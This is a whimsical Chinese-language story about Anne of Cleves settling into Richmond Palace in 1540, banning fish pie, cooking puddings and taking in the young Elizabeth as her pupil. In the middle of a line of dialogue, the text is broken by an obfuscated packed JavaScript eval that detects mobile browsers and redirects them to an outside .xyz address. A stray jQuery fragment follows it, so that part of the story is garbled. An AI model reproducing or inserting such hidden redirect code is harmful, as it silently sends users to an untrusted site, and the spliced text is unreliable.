里士满·安娜宫，1540 年 8 月 3 日，晴，微风带着河水的甜味


    天刚蟹壳青，泰晤士河就亮得像一面新擦的银镜。三艘驳船“咚——咚——咚”地靠上里士满私用码头，桅杆顶上挂着一面临时小旗：一只胖鹰，爪下抓着算盘——那是安妮昨晚用桌布剪的，针脚歪得理直气壮。


    胡椒狗第一个跳下甲板，尾巴扫起一片碎金似的阳光。它脖子上挂着一个小铃铛，叮叮当当，像在宣布：


    “各位，退休生活开始啦！”


    安妮跟在后面，手里拎着一只比她头还大的铜钥匙——城堡正门的老锁，据说上一次开启时，亨利八世还在长乳牙。钥匙插进去，“咔哒”一声，像打开了某个巨大玩具盒。


    大厅空旷得能听见回声说悄悄话。阳光从高窗斜射进来，照得浮尘像迷你烟火。安妮把行李清单卷成喇叭，对着空气念：


    “莱茵白酒二十桶，安特卫普玻璃杯十二箱，托斯卡纳粗盐八袋，胡椒狗一只——超重不收运费！”


    最后一箱由她亲自抱进来，“哐”一声放在地上，盖子自己弹开，滚出一堆银币——哗啦，像一条银色的河。


    四千马克，叮叮当当，响得理直气壮。


    安妮蹲下，用指尖拨弄那些带着体温的硬币，笑得见牙不见眼：“前老板大气！别人离婚收律师费，我离婚收年终奖。”


    厨房在城堡西翼，门楣上刻着一句拉丁文：


    “Fames est optima coquina.”（饥饿是最好的厨师）


    安妮眯眼看了半天，转头对胡椒狗说：“从今天起，这句改成：‘快乐是最好的调料。’”


    灶膛里还堆着昨夜守夜人留下的木柴，火星未灭，噼啪作响。安妮把一张卷边的羊皮菜单拍在案板上，上面歪歪扭扭写着：


    “今日午膳——盐鳕鱼派、燕麦糊、煮白菜。”


    她拎起菜单，像拎起一只湿漉漉的袜子，走到窗前，手腕一甩——


    “嗖！”


    羊皮纸划出一道完美抛物线，落进玫瑰丛，惊起两只麻雀。


    “第一号政令，”她宣布，“鱼派永禁！谁再把鳕鱼塞进派皮，就罚他吃三天煮燕麦！”


    胡椒狗汪了一声，表示附议。


    午后，阳光把厨房照得像一块烤热的姜饼。安妮搬出两口黄铜大蒸锅，一口贴上纸条：“布丁专用”，另一口贴上：“炖人——啊不，炖肉专用”。


    她正哼着莱茵小调，门口传来马蹄声。一匹栗色小马驹停稳，马背上的女孩一跃而下，斗篷飞扬，像一团跳动的蓝色火焰。


    “老师！”伊丽莎白的声音清脆得像河面上碎开的冰，“我来报到！”


    安妮愣了半秒，随即笑得比阳光还亮：“欢迎光临安娜宫！行李呢？”


    伊丽莎白拍拍马鞍后的小木箱：“书三本、望远镜一支、谜语纸条一沓，另附我自己。”


    胡椒狗冲上去绕着她转圈，尾巴摇得几乎要起飞。


    大厅里，伊丽莎白转着圈打量自己的新房间——原守备队长的塔楼小室，现在铺上了土耳其地毯，墙上挂着一幅手绘星图。


    “窗户朝东，”她满意地点头，“可以看日出。”


    安妮靠在门框上，手里端着一杯刚调好的蜂蜜酒，琥珀色的液体在杯中晃啊晃。


    “先说好，”安妮眨眨眼，“吃饭时间不准用拉丁文点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155904|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    菜，我怕厨房听不懂。”


    伊丽莎白接过酒杯，抿了一口，眼睛亮成两颗小星星：“成交！不过布丁可以多点姜吗？”


    “可以。”安妮爽快答应，“只要你把谜语纸条留一半给我贴瓶子。”


    两人相视而笑，阳光透过彩色玻璃，把她们的影子染成一朵朵玫瑰。


    傍晚，厨房飘出第一股新香气。


    蒸蛋布丁在锅里轻轻颤动，像一朵朵黄色的云。红酒烩牛排在铜锅里咕嘟咕嘟，肉香混着酒香，飘出窗外，飘过河面，飘进远处的树林。


    安妮把布丁倒扣在盘子里，淋上焦糖，递到伊丽莎白面前：“第一口给你，庆祝我们的新家。”


    伊丽莎白用勺子挖下一小块，放进嘴里，眼睛眯成一条缝：“像把圣诞夜蒸进了夏天。”


    胡椒狗蹲在脚边，尾巴拍打地板，发出满足的“啪嗒啪嗒”声。


    夜深，塔楼上的风铃叮叮当当。安妮坐在书桌前，把今天的收入一笔一笔记进新账簿：


    “收入：蜂蜜酒 18 马克，姜饼模具专利费 2 马克，胡椒狗卖萌费 0（待定）。


    支出：0（今天全用国王的钱）。


    备注：鱼派出局，玫瑰登场。”


    她合上账本，伸了个懒腰，窗外的月亮像一块被咬了一口的姜饼。


    伊丽莎白在隔壁房间轻声喊：“老师，明天可以教我酿苹果酒吗？”


    安妮笑着回答：“当然可以，只要你先把望远镜借我看看星星。”


    风从河面吹来，带着烤肉的香味、红酒的回甘，还有银币的轻响。


    安妮打了个饱嗝，满足地合上眼睛。


    “这才叫生活。”